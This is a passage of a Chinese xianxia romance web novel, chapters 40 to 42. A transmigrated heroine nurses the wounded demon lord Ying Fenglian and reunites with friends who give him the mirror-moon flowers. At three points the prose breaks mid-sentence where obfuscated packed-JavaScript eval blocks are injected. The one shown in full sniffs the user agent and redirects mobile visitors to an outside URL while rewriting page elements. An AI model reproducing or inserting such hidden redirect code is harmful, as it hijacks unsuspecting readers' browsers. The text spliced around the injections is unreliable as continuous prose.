并非花妖的幻境有多么精妙绝伦、蛊惑人心。事实上,这些根本就无法迷惑应逢怜,自始至终他都是清醒着的,只是他……累了。 身后人的呼唤如同鬼魅般纠缠不休,一声声,一句句,试图将他拉回沉沦的深渊。 颜悬昭蓦地红了眼眶,一股说不清是愤怒还是心疼的情绪涌上心头。她出人意料地大声吼道:“我不允许!” 她用尽全身力气,死死拽住他的胳膊,试图将他强行拖向那个黑色的出口。 可她这点力气根本撼动不了心意已决的应逢怜。就在两人僵持不下之际,整个幻境空间猛地一阵剧烈震动!应逢怜脚下的地面毫无征兆地裂开一道巨大的缝隙,他身形一晃,猝不及防地向下坠去。 “啊!”颜悬昭惊叫一声,因为紧紧抓着他的手,也被这股巨大的下坠力道猛地拖拽到了裂缝边缘。她的半个身子瞬间悬空,她一只手扒住不断掉落的碎石边缘,另一只手死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他身后鬼魅们的呼唤逐渐变得响亮,铺天盖地般在天地间回响,不死心地引诱着他继续沉沦。 “逢怜,其实我喜欢的是你啊……” “小宝,娘亲好想你……” 颜悬昭艰难地看了一眼身后逐渐逼近的鬼魅,近乎是哀求般看着应逢怜,眼泪不断滑落:“应逢怜,我的一生也从未被人选择过。这一次,你选我好不好?跟我走,好好活着,我陪着你东山再起。” “我选你,你也选我一次好不好?”颜悬昭哀伤地看着他,带着最后的恳求。 身后的鬼魅的呼唤急切而尖锐起来,声音变得凄厉可怖: “逢怜!难道你要为了这个不知底细的人,抛弃一次次救你于危难的我吗?” “逢怜,你忘记爹爹娘亲了吗,为什么不留在我们身边?!” 对于所有这些诘问与呼唤,应逢怜都沉默以对。 摇摇欲坠的裂缝边缘在此刻彻底崩塌。碎石簌簌落下,颜悬昭扒着地面的手猛地一空,连同被她紧紧拉住的应逢怜,两人一同向着无底的黑暗深渊急速坠落。 恐怖的失重感瞬间攫住了她,耳边是如同鬼哭般的呼啸风声。她害怕地紧紧闭上了双眼。 就在她以为自己即将摔落崖底粉身碎骨之时,却忽地感觉到,在下坠的混乱之中,一只有力的手臂环住了她的腰,将她揽到了坚实的怀抱之中。 视野里轰然炸开强烈的白光—— 颜悬昭猛地睁开双眼,惊魂未定地坐起,心脏狂跳、呼吸急促。她立刻意识到已经回到了现实,慌忙扭头看向身旁。 应逢怜依旧静静躺在妖异的镜月花丛中,面色苍白得没有一丝血色。她扑过去,颤抖着手轻轻拍打他的脸颊,声音带着哭腔:“应逢怜!应逢怜!你还活着吗?你别死啊!” 在她的声声呼唤中,应逢怜浓密如蝶翼的睫羽微微颤动了几下,眼皮缓缓掀开。血红的眼眸定定地看了她一眼,随即抬手将她的头摁向了他的胸膛,做完这个简单的动作,仿佛耗尽了他所有的气力,他重新阖上了眼睛,陷入昏睡。 惶恐不安的颜悬昭被迫趴在了他的胸膛之上,在听到微弱的心跳声从他胸腔里传来的那刻,几乎喜极而泣。 “太好了、太好了……”她情不自禁地喃喃着,声音逐渐弱去。 在幻境中消耗的巨大心神如同潮水般反噬而来。她维持着枕在他胸膛上的姿势,眼皮越来越沉重,不过片刻,便抵不过汹涌的疲惫,沉沉睡去。 40. 好感度波动 颜悬昭醒来时,发现自己正倚靠在应逢怜怀里,这过于亲密的姿势让她心头一跳,几乎是弹射般迅速坐了起来。 她这么大动静却没能惊醒应逢怜,他依旧毫无反应地躺在那里,双目紧闭,散落的乌发紧贴着他苍白得几乎透明的脸颊,衬得他如易碎的瓷美人,美却缺乏生气。若不是他呼吸平稳,颜悬昭都以为他已经仙去了。 她安静地在一旁等待了片刻,却仍不见应逢怜苏醒,忍不住在脑海里询问系统:“他怎么还不醒?” 【检测到反派生命体征平稳,但由于伤势过重,短时间内无法自然苏醒。建议宿主对其进行疗伤。】 疗伤?应逢怜还没教她怎么给人疗伤呢? 颜悬昭挠了挠头,一时间不知道从何下手。她蹙眉思索片刻,眼睛忽地一亮,想起了什么,从怀中掏出了自己贴身存放的宝贝小锦囊。 她解开系带,从里面倒出了一堆小瓶瓶罐罐。这里面有几瓶是应逢怜之前随手甩给她的不知用途的丹药,还有一些冯念之此前赠送给她的疗伤圣药。 颜悬昭拿起这些瓶瓶罐罐逐一打量起来,却发现上面要么没有标注,要么就是她看不懂的篆文。她不清楚这些药能发挥什么作用,根本没法对症下药,一时陷入了僵局。 思索片刻后,颜悬昭决定不管三七二十一,把这些丹药通通喂给应逢怜,总有一个能派上用场吧! 她说干就干,上前掰开了应逢怜的嘴,填鸭子式地把丹药一股脑地往他嘴里倒。 系统看见这凶残的一幕,欲言又止,但最后还是选择了眼不见为净。 颜悬昭刚倒完手中最后一瓶药,应逢怜的睫羽就轻颤了两下,睁开了双眼。他的眼神里有着初醒的迷蒙,片刻后便恢复了清明,缓缓地蹙起了好看的眉头,像是在细细感知着什么。 他沉声道:“颜悬昭,你给我吃了什么?” 颜悬昭闻言,眨了眨眼:“疗伤的丹药啊,怎么了,吃下去哪里不舒服吗?” 应逢怜看着她关切的神情,压下了心头的古怪:“无事。” 随后,他又吩咐道:“扶我起来。” 颜悬昭立刻听话地上前扶他。应逢怜借着她的力道坐起,第一时间抬起眼眸环视四周,若有所思地打量着眼前的镜月花海。 “对了。”颜悬昭想起了重要的事,打断了他的沉思,从怀里小心翼翼地掏出了两株完好的镜月花,“幻境崩塌之后,那花妖就消散了,只留下了这个。这应该就是它的本体,镜月花吧?” 应逢怜接过,血红的花朵在他苍白的指尖显得更为灼艳。他漫不经心地拈着这得来不易的妖花,一边思索一边得出结论:“看来,每个人在此地破除幻境,最多只能得到一株镜月花。” “我们已经有两株了,够用了吗?”颜悬昭不自觉地凑近他问道。 她的脸近在咫尺,眼睛亮亮的,倒映着满满的他。她本人仿佛没意识到他们之间的距离过近,只是专注地看着他,等待他给出回答。 “够用了。”应逢怜垂下眼眸,避开了她那过于纯粹直白的视线,手指无意识地反复摩挲着花瓣的边缘,半晌道,“……你可有受伤?” 颜悬昭微微怔住。一向冷心冷情、对他人死活毫不在意的魔头,居然会主动关心她有没有受伤? 这突如其来的转变让她一时间有些无所适从,说话也不自觉地语无伦次起来:“呃……没、没有。我清醒得比较快,没受什么伤,挺好的。” 应逢怜几不可闻地“嗯”了一声,便不再说话,颜悬昭也不知道继续说些什么好,一时间,两人陷入了难以言说的沉寂之中。 这种古怪的、带着点莫名粘稠感的氛围,让颜悬昭觉得浑身不自在,手脚都不知道该往哪里放。 她心里泛起了嘀咕:怎么一同经历生死患难之后,两人之间的相处反而变得这么别扭了? 系统看着这两个缺了情根的玩意,真想化为实体摇着他们肩膀大吼道:“什么古怪?什么别扭?连它都知道,这种氛围叫暧昧好吗?这么好的氛围,都不会把握!” 最终还是应逢怜率先打破了僵局,他将花收入了储物戒中,略显吃力地站起身:“此地不宜久留,走吧。” 颜悬昭跟着起身,拍了拍沾染在衣裙上的泥土,忽然想起还有同伴,急忙道:“等等!念之他们也进来了,我联系一下他们。” 她掏出传讯符注入灵力,对着符纸说道:“念之,我找到我相公了,你那边怎么样?” 符纸闪烁起微弱的灵光,过了两秒,冯念之断断续续、夹杂着杂音的声音传了过来:“……昭昭姐……我也找到师兄了……一切平安……” 她的话还没说完,讯符上的灵光便猛地一黯,声音戛然而止,符纸无火自焚,迅速在颜悬昭的指尖化为了灰烬。 她焦急地伸手去拢那些飞散的灰烬,却被应逢怜抬手拦住了。 “这片镜月花海空间特殊,传讯符无法稳定生效。”他声音平静地解释,“先离开这里,到了外界再设法联系他们。” 听到他沉稳地解释,颜悬昭的担忧有所缓解,依言点了点头。 应逢怜不再多言,抬手随意地一挥,一簇妖异的、跳跃着紫色光芒的火焰凭空出现在茂密的镜月花丛之中,火势瞬间腾起,并以惊人的速度向四周蔓延开来。 不过几个呼吸之间,妖艳的血色花海便被一片跳动的紫色火海所取代。那些原本坚不可摧的镜月花在火焰中迅速枯萎、焦黑。扭曲的气浪蒸腾而起,火焰燃烧的噼啪声,混杂着某种细碎哭泣的尖锐声响,如同千万花妖齐齐哭嚎,声音直刺耳膜。 应逢怜平静地看着这一切,紫色火焰在他深邃的眼眸中跳跃,脸庞隐于忽明忽暗的火光下,乌发在狂乱的气流中飞舞,第一次让人直观地感受到他是个不折不扣的魔头。 花海上空飘荡着的声音刺耳至极,与此同时,眼前的场景开始如烟雾般浮动扭曲,颜悬昭害怕地凑近应逢怜,抓住他的手臂。 应逢怜没有反应,任由她抓着,两人就这样伫立于熊熊燃烧的紫色火海中。不多时,花海的空间如同镜子破碎,斑驳的碎块处,浮现了许多大小不一、边缘模糊的白色光斑。 “走。”应逢怜言简意赅,迈步便朝着最近的一处较大光斑走去,颜悬昭连忙紧跟在他身侧。 在踏入那白色光斑的瞬间,一股强大的吸力骤然传来,仿佛整个空间都在挤压、拉扯着他们。一阵短暂的天旋地转之后,颜悬昭发觉他们已伫立在了最初的湖边,周围是祥和宁静的白色花海。 她惊奇地环视着四周,对刚刚经历的时空转换还有些回不过神。她立刻看向湖边,却发现那里空无一人,并没有衡遂和冯念之的身影,不由得担忧道:“他们还没出来……” “那些光斑便是出口,他们只要找到任意一处,便能脱身,不必过于担忧。”应逢怜说完,就压抑不住地咳嗽了一声,剧烈的疼痛使得他不由自主地弯下了腰,额角瞬间渗出细密的冷汗。 颜悬昭急忙上去,替他顺气,却在他的背部摸到了一手的鲜血:“不行,你的伤口又崩裂了!” 他的伤势根本就没有完全愈合!他刚才那副平静的样子,难道都是强装出来的吗? 应逢怜若无其事地擦掉嘴角溢出的鲜血,声音气若游丝,神情却依旧镇定:“找个隐蔽的地方,我需要疗伤。” ——— 在颜悬昭的搀扶下,他们找到了一个隐蔽的山洞。 颜悬昭将应逢怜小心地安置在洞内干燥处,自己则忙前忙后,四处捡来一些枯枝,笨拙地升起一小堆篝火后,将失血过多的应逢怜搀扶到火堆旁边,让他靠着火焰的热度恢复些许体温。 她蹲在火边,仔细地将新捡来的树枝往里添了添,让火烧得更旺些。做完这些,她松了口气,下意识地一抬头,猛地瞥见了极具冲击性的场面。 火光对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792880|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,应逢怜不知何时已然除去了上身破损的衣物,露出了线条流畅、肌理分明的胸膛。穿衣显瘦、脱.衣有肉此刻在他身上得到了充分的彰显,覆盖在骨骼上的薄肌恰到好处,胸肌与腹肌的轮廓清晰而结实,既不显得过分贲张,又充满了蓄势待发的力量感。火光的映衬下有如蜜色在他的肌肤上流淌,显得格外性.感。 他正微微侧着头,手中拿着干净的纱布,试图往自己左胸上的伤口缠绕。为了方便动作,他口中还衔着纱布的另一端,偶尔会因为牵动伤处而发出几声极轻的、压抑的抽气声。 他似乎察觉到了颜悬昭过于灼热的视线,抬起眼眸,幽深的目光直直地朝她望了过来。 颜悬昭对上他微凉的目光,像是被泼了盆冷水般顿时从沉迷男色中清醒了过来:“我来帮你!” 她拍掉了手中的灰,又仔细地清洗了手,这才上前帮他固定好纱布。在接触到他心口处碗大的伤口时,她心中所有旖旎的、羞怯的情绪瞬间烟消云散,只余下沉甸甸的担忧和难以言表的心疼。 这样严重的贯穿伤,若是放在寻常人身上,恐怕早已回天乏术。幸好应逢怜有一半魔族血统,拥有着远超常人的强悍生命力。但即便如此,这样的伤势对他而言,也绝非能够轻易痊愈的。 之前受的伤好不容易养得七七八八,又增添了一处新伤,他这副身躯真是伤痕累累,饱经磨难。 颜悬昭收敛心神,将纱布仔细地覆盖在他的伤口上,一圈一圈地缠绕,动作愈发轻柔谨慎,生怕力道稍重会给他带来额外的疼痛。 应逢怜低头看着她的乌黑的发顶,感受到她动作中的呵护和珍重,眼神中的情绪晦暗不明。 “好了。”她终于系稳了纱布的结,轻轻舒了口气。然而,就在她收回手时,指尖却不小心轻轻刮蹭到了他胸.前某处敏感的末端。 应逢怜顿时浑身剧烈一颤,条件反射般死死扣住了她的手腕。 “不、不好意思。我不是故意的!”颜悬昭意识到自己无意间碰到了哪里,脸瞬间涨得通红,忙不迭地道歉,试图收回自己的手,却被应逢怜禁锢着手腕动弹不得,力道大得让她吃痛。 应逢怜幽暗的眼眸看起来简直想吃人,让颜悬昭心惊胆战。就在她以为自己要被他拧断手腕之时,他又突兀地松开了她的手,重新将外衣披上,将自己遮得严严实实。 做完这一切,他靠墙闭眼假寐,不再说话,显示出一贯的冷淡疏离。 颜悬昭揉着自己被他攥得发红的手腕,看着他迅速披回衣物,靠墙假寐的疏离姿态,心中不由得涌上一阵强烈的失落和委屈。 她原以为生死与共后,他们之间的关系起码会有所进展,再不济他对她的态度至少会比之前温和一点,没想到还是这么冷冰冰,拒她于千里之外。 也对,他的温柔只是给女主的,给他的白月光的,怎么会对她这种小炮灰有好脸色呢?别自作多情了…… 颜悬昭闷闷不乐地想着,自己也没察觉到这些想法里充满了酸涩。 但职场里千锤百炼出来的社畜自我修养让她很快调理好了自己。 她在心底默默告诫自己:颜悬昭!别忘了你的身份和任务!干我们攻略这一行的,最忌讳的就是爱上客人! 我们只谈KPI,只看进度条,不谈感情! 给自己做了一番心理建设后,颜悬昭迅速将那点不明所以的失落抛到脑后,重新振作起来,充满干劲地在脑海中询问系统:“系统!快查查应逢怜现在对我的好感度是多少了?经历了这么多,总该涨了不少吧?” 系统罕见地沉默了片刻,语气复杂道:【我很难讲。】 它看了看不远处那个面容平静如水的应逢怜,又看了看眼前的好感度面板,那数值简直如剧烈震荡的股票指数,一会儿高一会儿低,一会儿冲上云霄,一会儿又坠落谷底。 它不合时宜地想到一句话:“男人心也是海底针。” 41. 山洞独处 应逢怜本想借着假寐平息面上陡然升起的热意,却不想竟真的迷迷糊糊睡着了。然而,脸上的热意并未随着意识的模糊而消退,反倒野火燎原般愈演愈烈,迅速蔓延至全身。 灼热烧得他意识模糊,一切声音都朦朦胧胧地离他而去,在这片混沌之中忽地有人唤起了他的名字:“应逢怜、应逢怜……” 他费力掀开沉重的眼皮,眼前是一片晃动的、模糊的光影,只能看见一个模糊而似曾相识的轮廓。他努力集中涣散的视线,想要看清是谁,额头上却忽然传来一丝清凉柔软的触感,驱散了些许燥热带来的痛苦。 颜悬昭本来因为应逢怜的阴晴不定生起了闷气,暗暗打定主意要一整晚都不理这个郎心似铁的家伙,却还是记挂着他的伤势,没忍住去偷瞄了他一眼。 这一看可不得了,一向面白如玉的人双眼紧闭,呼吸沉重,脸颊泛着不正常的潮红。 她一时间顾不上赌气,连忙俯身去探了探他的额头,指尖刚触及皮肤,就被那异常的高温烫得低呼出声:“好烫,你怎么发烧了?” 她正想收回手,去外面找些凉水来,却猛地被他一把攥住了。他像溺水之人抓住唯一的浮木般不肯撒手,将滚烫的脸颊紧紧贴在她的手掌上,拼命汲取着这点微薄的凉意。 颜悬昭诧异了一下,好像又看见了破庙里的那个小应逢怜。仿佛是高烧熔去了他那层坚硬冷酷的外壳,露出了内里那份不为人知的脆弱和依赖。 她心下一软,不再试图抽回手,反而用另一只手也轻轻捧住了他另一边同样滚烫的脸颊。看着他不肯放手的模样,她觉得好笑又无奈:“怎么病了反倒像黏人的小孩一样?” “松手好不好呀,应逢怜小朋友?我得去给你弄个湿毛巾降温。”她像哄小孩子般温柔地和他商量了起来。 他烧得迷迷糊糊的大脑思维迟滞,就这样愣愣地看着她,像是在努力消化她的意思,半晌,他还是听话地缓缓松开了手。 颜悬昭见他松了手,连忙起身,拿着水囊快步走出山洞去寻找水源。等她回来时,发现高烧中的应逢怜竟一直强撑着没有完全睡去,半睁着眼,目光直直地投向洞口的方向,等待着她的回来。 颜悬昭快步走到他的身边,将浸湿的绢帕仔细叠好,小心翼翼地敷在他滚烫的额头上。他全程直勾勾地看着她,眼神专注得近乎固执,仿佛眨一下眼睛,她就会像幻觉一样消失不见。 他没有说话,颜悬昭却奇异地懂得了他心中所想,主动握住了他的一只手:“放心吧,我就在这不离开,我不会丢下你的。” 得到了她这句承诺,他终于不堪疲惫地闭上了眼,昏昏睡去。颜悬昭就这样守在他身边,时不时伸手探探他的温度,一旦额上的绢帕被体温暖热,就立刻替换上新的凉帕。如此反复,直到后半夜,他身上的高热终于退去,她才松了口气,倚靠着冰冷的岩壁,疲惫地睡去。 沉睡之中,她隐约感觉到有什么环上了她的脖子,冰凉又硌人,她不适地挥了挥手,含糊嘟囔道:“睡觉呢,别闹。” 脖子上的禁锢顿了一下,最终还是缓缓松开,此后便是一夜好眠。 洞外晨鸟清脆的啼鸣传来,颜悬昭被吵醒,无意识地挪了挪脑袋,感觉枕着的地方不够柔软舒适,便习惯性地想要翻身换个姿势。结果这一翻身,头皮立刻传来一阵轻微的拉扯痛感,让她猛地从睡梦中惊醒。 一睁眼,她就对上了一张近在咫尺的俊美脸庞,那双诡艳的血色眼眸正一眨不眨地凝视着她,骨节分明的手上还把玩着她的一缕青丝。 颜悬昭残余的睡意瞬间被吓得烟消云散。 她记得自己明明是靠在岩壁上睡的,为什么醒来会枕在应逢怜的大腿上?! “你醒了。”应逢怜淡定地松开她的头发,自然得好像无事发生。 颜悬昭立刻摸了摸嘴角有没有口水流出,确定没有后,忙不迭地从他的腿上爬了起来,有些懊恼让他看到了自己乱七八糟的睡容。 也就在这时,她才注意到他的脸色恢复如常,眼神也恢复了清明,不禁雀跃道:“你痊愈了?” “嗯。”应逢怜低低应了一声,算是回答。他的目光却并未移开,依旧落在她的身上,那视线平静,却莫名地让颜悬昭感到有些不自在。 颜悬昭正觉得有点尴尬时,更尴尬的事情发生了,她的肚子发出了一声震耳欲聋的咆哮,在安静的山洞里格外清晰。 气氛凝滞了两秒。 为了缓解这令人脚趾扣地的尴尬,她脑子一抽,竟直接干巴巴地说道:“我饿了。” 话音刚落,她简直想立刻找个地缝钻进去。 应逢怜微怔了一下,似乎才想起她需要进食:“我之前给你的丹药里有辟谷丹,服用一颗可以三日不用进食。” “辟谷丹?里面有辟谷丹的呀……”颜悬昭先是惊讶,随即眼神开始不受控制地飘忽了起来。 应逢怜见她这副模样,疑惑地皱了皱眉:“你弄丢了吗?” “倒是没有弄丢。就是……我以为是疗伤的药,就通通倒给你吃了……”颜悬昭的声音越来越小,一边说还一边小心翼翼观察着应逢怜的神情。 他的表情罕见地空白了一瞬。 怪不得……怪不得之前他醒来的时候觉得肚子好饱。 应逢怜站了起来往外走去,颜悬昭以为他生气了慌忙解释道:“你别生气,我当时也是着急……” 应逢怜站在洞口,奇怪地回望了她一眼:“我没生气。你好生待在这里,不要乱跑。” 说罢,他抬手加固了一下洞口的结界,才迈步离开。 颜悬昭看着他离去的身影,总觉得他有点不一样了,但具体又说不上来。她忍不住询问起脑海里的系统:“你有没有觉得应逢怜莫名变得有点善解人意了?” 系统倒是波澜不惊:【好感度上涨了,态度自然会有变化,这很正常。】 “咦?!”颜悬昭不可思议地睁大眼睛,“好感度上涨了吗?什么时候的事?昨天不还是波动不定吗?” 【昨晚你睡着时候发生的。本来还在剧烈波动的,在他想杀你的那刻好感度甚至跌到了-100。】 “想杀我?!”颜悬昭惊叫出声,“你怎么不叫醒我吗?你就任由我被他杀吗!” 【我哪里没叫!我在你脑子里都弹了一百个警告弹窗都没能叫醒你!你睡得和死猪一样!】系统无比冤屈地大声反驳道。 “这个嘛,最近确实太累了,难免睡得沉了点……”颜悬昭有些心虚地干笑两声,赶紧转移话题,“那他后来怎么又放过我了?” 【你迷迷糊糊打了一下他的手,叫他别闹,他就真的放开了,杀意也莫名其妙没了。】 【然后他就一直阴沉沉地盯着你睡觉。我以为他还在琢磨杀你,结果后台一直在显示他好感度在波动上涨。甚至你在睡梦中哼唧了一声的时候,他好感度立马加了5点。】 颜悬昭:…… 应逢怜,我真是越来越看不懂你了。 “所以,”她深吸一口气,问出了最关键的问题,“他现在对我的好感度,到底是多少?” 【好感度目前为60。】 系统话音刚落,应逢怜就回来了,他站在洞口处,手里还拎着两条肥美的大鱼。 ——— 他拎着鱼径直走了进来,丢到了颜悬昭的面前:“吃吧。” 颜悬昭看着两条生鱼,傻了眼:“就这么吃吗……生鱼片?” 应逢怜用一种“你傻了吗”的眼神瞥了她一眼,语气平淡又带着点无奈:“不是有火堆吗?拿去烤。” 颜悬昭恍然大悟,感叹自己真是饿糊涂了。她连忙蹲下身,捡起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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火光照映着他认真的侧脸,让颜悬昭有种做梦般的不真实感。 冷血无情的大魔头怎么还精通杀鱼?现在还亲手为她烤鱼,“洗手作羹汤”,这满满的人夫感怎么回事? 就在颜悬昭犯起花痴时,应逢怜冷不丁道:“看我做什么?还不学学怎么烤鱼?” “噢噢,好的!”颜悬昭捂住自己滚烫的脸颊,逼迫自己将注意力从他身上抽回,认真学起烧烤的手法。 不多时,两条大鱼就被烤得金黄酥脆,散发着阵阵焦香。应逢怜将它们从火上取下,递给了颜悬昭:“吃吧。” “谢谢。”颜悬昭接过,小心地吹了吹热气,本想在他面前保持一点矜持文雅的形象,小口小口地品尝。然而,这鱼肉实在烤得美味,外酥里嫩,虽然没有额外的调味,却能尝出鱼肉本身的鲜甜肥美。她越吃越香,渐渐也顾不得形象,开始大快朵颐起来。 等她理智回笼时,她已经将两条鱼都吃得一干二净了。她鼠鼠祟祟地看向应逢怜,本以为会看到他嫌弃的目光,却不想捕捉到了他微微翘起的唇角,极轻的笑意软化了他冷厉的面容,看上去多了几分温柔。 颜悬昭:咦? 在察觉到她看过来的瞬间,应逢怜的神色恢复如常,那抹笑意消失得快到像她的错觉。 他若无其事地轻咳了一声:“吃饱了吗?” 颜悬昭小鸡啄米般点了点头:“饱了。我们接下来……” 她话未说完,应逢怜却忽然抬起一只手,示意她噤声。他的眼神骤然变得凌厉,浑身的肌肉微微绷紧,警惕地转向洞口的方向,侧耳倾听。 洞口外,由远及近地传来了杂乱的脚步声,人声也在此刻同步响起:“这里有个隐蔽的洞口,我们进去休整一下吧。” 42. 朋友与承诺 脚步声越来越近,人影在洞口的光晕中显现,应逢怜戒备地将颜悬昭拽至身后。 “咦?这山洞里有人,怎么还设了结界?”一道清亮的女声带着几分讶异响起。 听到了熟悉的声音,颜悬昭从应逢怜背后探出头来,眼睛一亮,雀跃地唤道:“念之!” 她拉了拉身前人的衣袖,语气轻快:“快把结界撤了,是念之他们,让他们进来。”应逢怜手指蜷了蜷,莫名有些不快,但还是依言抬手将结界撤掉了。 冯念之正探头张望,一眼便对上了颜悬昭的目光,脸上立刻绽开惊喜的笑容:“昭昭姐!” 颜悬昭瞬间把面前的应逢怜当作了空气,伸手将他往旁边一推,三步并作两步地迎了上去,和疾步走进来的冯念之紧紧抱在了一起,重逢的喜悦驱散了方才洞内紧绷的气氛。 落后一步的衡遂也随之走了进来,看到这情景,温和地笑了笑,很自觉地没有上前打扰。他转向一旁神色略显平淡的应逢怜,拱了拱手,语气庆幸:“颜兄,幸得老天眷顾,我们都平安无事地从镜月花海里出来了。” “见到二位安然无恙,颜某心中大石总算落下。此番险境,皆因颜某之事而起,连累二位涉险,实在愧疚。”应逢怜面上浮现出恰到好处的歉意,言辞中的恳切分寸得当,只是说话时,他的余光仍若有若无地飘向那两个凑在一起低声说笑的女孩。 衡遂还想着继续寒暄两句,应逢怜却从眼前走开了。他不动声色地插.入到颜悬昭和冯念之当中,身形恰好隔开了过于贴近的两人,然后转向颜悬昭:“他们二人奔波了一日,想必也累了,先请他们到火堆旁歇息吧。” 颜悬昭拍了拍脑袋,语气懊恼:“我太激动了。念之、衡遂你们快到火堆旁烤烤火,休息一下!” 她转身跑到那堆烧得正旺的篝火旁,手脚麻利地将旁边散落的干草和石块清理开,腾出两块干净的空地。衡遂和冯念之道了谢,依言在火堆旁坐下。 刚一坐定,颜悬昭迫不及待地关心问道:“你们怎么样,有没有受伤?” “劳应娘子挂心,”衡遂温声回答,“我与师妹只是受了些轻微皮外伤,已自行处理过,现已无大碍了。” 冯念之接过话,语气还带着些许后怕:“我和你分开后,在花海里转了很久,一个人影都没看到,喊也没人应,我都快急死了,刚想原路返回去找你,就遇见了师兄。” 衡遂点了点头,简单说了说自己在花海里的状况:“我从幻境里醒来得比较早,故而未受多大伤害。醒来后,就一直在寻找你们,可惜花海茫茫,始终未能找到,所幸最后还是遇到了师妹。” “我们汇合后,便想立刻用传讯符联系你,”冯念之接着说,眉头微微蹙起,“没想到却是你先联系了我们。可惜话没说两句,通讯就突然中断了,怎么催动符箓都没反应。我们只好返回约定地点等你们。可是左等右等,都不见你们来。后来花海发生异变,出现许多白光,我们穿过白光就回到了我们最初进去的那个湖边。” “我们出来的方式也差不多。”颜悬昭听了,脸上露出歉意,“实在对不住,应……我相公,”她说到这个词时,微微顿了一下,眼风飞快地扫了应逢怜一眼,“他伤得有些重,我们就先出来了。当时只顾着疗伤和找地方安置,情急之下忘了去约定地点与你们汇合,害你们苦等担心。” “昭昭姐,事急从权嘛,不要自责。”冯念之立刻握住她的手摇了摇,善解人意地宽慰着她。 “颜兄伤得很重吗?”衡遂细心地捕捉到了颜悬昭话中的重点,毫不犹豫地从怀里掏出了一瓶丹药递给了应逢怜,“我这还有一瓶疗伤的丹药,应兄不嫌弃的话就收下服用吧。” 应逢怜看着递到眼前的丹药,微微一愣。丹药用精致的玉瓶装着,还一直被贴身携带,多半是品阶不凡。他沉默了片刻,才伸手接过,低声道:“多谢”。 就在这时,他的肩膀被人轻轻撞了一下,是颜悬昭。她凑了过来,仰着脸,眼睛在火光映照下暖融融的,对着他挤眉弄眼,用只有两人能听到的气音悄悄说:“这世界上还是有很多善良的人,值得我们好好珍惜的,对吧?” 应逢怜不语,神情颇为嫌弃地推开了她的头。 “对了,我这里有一株镜月花。”衡遂像是突然想起般,又从怀里小心取出了一个布包,一层层打开,露出了里面保管良好的镜月花。 他毫不藏私地将它交到了应逢怜手中。 “我这也有一株!”冯念之见状,也连忙从身上取出了她的那株镜月花,一同交到他的手中。 应逢怜看着手中的两株镜月花和面前二人澄澈的目光,一时间竟有些失语,一向能够快速运转的聪明脑袋在此刻遇到了自己难以理解的事物。 经历生死危难后才艰难获得的珍稀灵草,竟被他们如此大方地拱手让人。人不都应该是见利忘义,趋利避害,口蜜腹剑的吗? 应逢怜一直以来的认知在这刻遭到了前所未有的冲刷。他罕见地没有戴上惯常使用的客套假面,不解地反问道:“这镜月花乃稀世灵草,你们不想留下它吗?” 却不料,衡遂轻轻摇了摇头,态度坦荡:“它再珍贵,给我们这些不需要的人也发挥不出它千分之一的价值。你比我们更需要它。” 不需要?无用?应逢怜更困惑了。即便自己用不上,拿去拍卖行或黑市,也能换取大笔灵石、法宝或人情,怎么可能会“无用”?怎么可能会有人放弃唾手可得的利益? 冯念之更是直率:“我们承诺了要帮你找到镜月花,当然要说到做到啦!我们找到了,还自己藏着这算怎么回事?” “为了承诺吗……”应逢怜喃喃道。 “当然不止。”冯念之补充道,语气里满是理所当然,“更因为我们是朋友啊,为了朋友两肋插刀再正常不过了。” “正是此理。”衡遂颔首,诚挚而坚定地看着应逢怜,“应兄,朋友之间,本就该互相扶持。此前你不也冒着风险出手救下我们吗?情谊是相互的,你切勿将此视为负担。” 朋友。 这陌生的词语如同小石子骤然落入应逢怜古井无波的心中,荡开一片涟漪,给了他一种前所未有的新奇而又荒诞的感受。他从来没有过朋友,也不认为自己需要这种无用又虚伪的东西。在他看来,所有关系都是出于利益考量,他最初救他们也不过为了让他们能为自己所用,谈不上什么情谊。 他下意识想嗤笑,找出他们话语中的破绽,再开口嘲讽,却在对上那两双充满善意的瞳眸时,什么也说不出来了。 真是……两个纯粹的傻子。 “你现在有朋友了哦!”颜悬昭又探过头来,眼睛弯成了月牙,脸上有些小得意又有些小自豪,澄澈的眼眸里倒映着他怔愣的脸庞。 应逢怜看着眼前这个最大的“傻子”,嘴角忍不住泛起一丝笑意:“你这样看起来好蠢。” 颜悬昭正等着他感动的反应,没料到等来这么一句,顿时被噎住,瞪圆了眼睛就要反驳。却听见应逢怜对冯念之二人真诚感谢:“二位仗义相助令颜某没齿难忘,今后若有在下能帮得上忙的地方,我定当倾力相助。” 听到他这番话,颜悬昭不安的心彻底放下。应逢怜此人最不喜欢亏欠他人,也极重承诺。他能说出这样的话,意味着他是真正承了这份情,绝不会再对衡遂他们起任何不利之心。或许,在将来可能发生的仙魔纷争中,这句承诺能为他们留下一线生机、一片安宁。 ——— 四个人围坐在篝火旁,石壁上拉长的影子随着火光晃动着。劫后余生让每个人都带着些许疲惫,但重逢的喜悦和篝火的暖意又驱散了困倦和紧绷之感。 